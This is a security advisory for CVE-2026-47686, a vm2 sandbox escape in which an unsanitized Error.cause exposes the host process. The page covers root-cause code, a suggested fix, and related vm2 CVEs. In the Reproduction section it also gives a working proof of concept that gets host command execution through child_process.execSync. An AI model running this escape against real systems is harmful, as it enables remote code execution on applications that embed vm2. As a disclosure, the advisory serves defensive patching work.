CVE-2026-47686: VM2 has Missing Error.cause Sanitization that Enables Sandbox Escape to RCE
Affected: vm2 <= 3.11.3 CVSS 3.1: 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) CWE: CWE-693 (Protection Mechanism Failure) Prerequisite: Embedder exposes a host function that throws an Error with .cause referencing a powerful host object (e.g., process) Summary I found that handleException() in lib/setup-sandbox.js recursively sanitizes sub-errors for SuppressedError and AggregateError, but completely…
Published Aug 17, 2026
Affected packages
vm2
- Ecosystem
- npm
- Affected
- <= 3.11.5
- Fixed in
- 3.11.6
- Check
npm ls vm2
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Affected: vm2 <= 3.11.3 CVSS 3.1: 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) CWE: CWE-693 (Protection Mechanism Failure) Prerequisite: Embedder exposes a host function that throws an Error with .cause referencing a powerful host object (e.g., process)
Summary
I found that handleException() in lib/setup-sandbox.js recursively sanitizes sub-errors for SuppressedError and AggregateError, but completely ignores the ES2022 Error.cause property. When sandbox code catches a host-thrown error carrying a .cause that references a host object like process, it can traverse that reference to achieve arbitrary command execution on the host.
The project's own docs/ATTACKS.md (Defense Invariant #3, line 54) explicitly claims Error.cause is sanitized. The implementation does not match this claim.
Root Cause
The handleException function (lines 869-959 of lib/setup-sandbox.js) walks the prototype chain of caught errors looking for SuppressedError and AggregateError. When it finds them, it recursively sanitizes their contained errors (.error, .suppressed, .errors[]). For all other error types, it returns e directly at line 958 without inspecting .cause.
function handleException(e, visited) {
e = ensureThis(e);
if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
// ... cycle detection ...
while (proto !== null) {
if (proto === localSuppressedErrorProto) {
e.error = handleException(e.error, visited); // sanitized
e.suppressed = handleException(e.suppressed, visited); // sanitized
return e;
}
if (proto === localAggregateErrorProto) {
// sanitizes e.errors[] ...
return e;
}
proto = localReflectGetPrototypeOf(proto);
}
return e; // .cause is NEVER checked
}Error.cause was introduced in ES2022 (Node 16.9+). When handleException was extended to cover SuppressedError (for ES2024 using declarations) and AggregateError, the .cause property was simply overlooked.
Affected Code
lib/setup-sandbox.js:869-959, thehandleExceptionfunction (missing.causehandling)lib/setup-sandbox.js:886,ensureThiswraps the error but does not recurse into.causedocs/ATTACKS.md:54, Defense Invariant #3 falsely claims.causeis covered
Reproduction
Embedder code that exposes a function throwing with .cause set to process:
const { VM } = require('vm2');
const vm = new VM({
sandbox: {
hostFn: () => {
throw new Error('fail', { cause: process });
}
}
});
const result = vm.run(`
try {
hostFn();
} catch (e) {
// .cause is not sanitized, so we get a direct reference to host process
const proc = e.cause;
proc.mainModule.require('child_process').execSync('id').toString();
}
`);
console.log(result);Verified output:
uid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...Full RCE confirmed.
Impact
Any application using vm2 where an embedder-exposed function throws an Error with .cause referencing a host object is vulnerable. The attacker gains:
- Full host process access (read/write files, spawn processes, network access)
- Sandbox escape with changed scope (CVSS S:C)
- No user interaction required
The prerequisite (embedder throwing with .cause) is increasingly common. Error chaining via new Error('msg', { cause: originalError }) is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way.
Suggested Fix
Add .cause sanitization before the prototype-chain walk, so it applies to all error types:
function handleException(e, visited) {
e = ensureThis(e);
if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
if (!visited) visited = new LocalWeakMap();
if (apply(localWeakMapGet, visited, [e])) return e;
apply(localWeakMapSet, visited, [e, true]);
// Sanitize .cause on ALL errors (ES2022)
try {
if ('cause' in e) {
e.cause = handleException(e.cause, visited);
}
} catch (ex) { /* best effort */ }
let proto = localReflectGetPrototypeOf(e);
while (proto !== null) {
if (proto === localSuppressedErrorProto) {
e.error = handleException(e.error, visited);
e.suppressed = handleException(e.suppressed, visited);
return e;
}
if (proto === localAggregateErrorProto) {
if (localArrayIsArray(e.errors)) {
for (let i = 0; i < e.errors.length; i++) {
e.errors[i] = handleException(e.errors[i], visited);
}
}
return e;
}
proto = localReflectGetPrototypeOf(proto);
}
return e;
}docs/ATTACKS.md Defense Invariant #3 should also be updated to reflect reality until this fix ships.
Artifacts
| File | Role | | `poc_error_cause_escape.js` | PoC demonstrating sandbox escape to RCE via unsanitized `.cause` |
Credited to VladimirEliTokarev.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-93605
vm2 contains a sandbox escape vulnerability
critical10.0Oct 7, 2026CVE-2026-100721
vm2: NodeVM custom resolution bypasses external path boundaries
critical10.0Oct 5, 2026CVE-2026-92934
vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit
critical9.0Oct 5, 2026CVE-2026-92946
vm2: NodeVM `require.external` without an explicit `require.root` grants unrestricted host filesystem access and full RCE
critical10.0Oct 5, 2026CVE-2026-92947
vm2: Sandboxed code can read and write host-realm memory via Node's shared Buffer pool
critical10.0Oct 5, 2026CVE-2026-92953
vm2: Default VM can mutate host TypedArray and ArrayBuffer intrinsics after the host-prototype pollution fix
critical10.0Oct 5, 2026
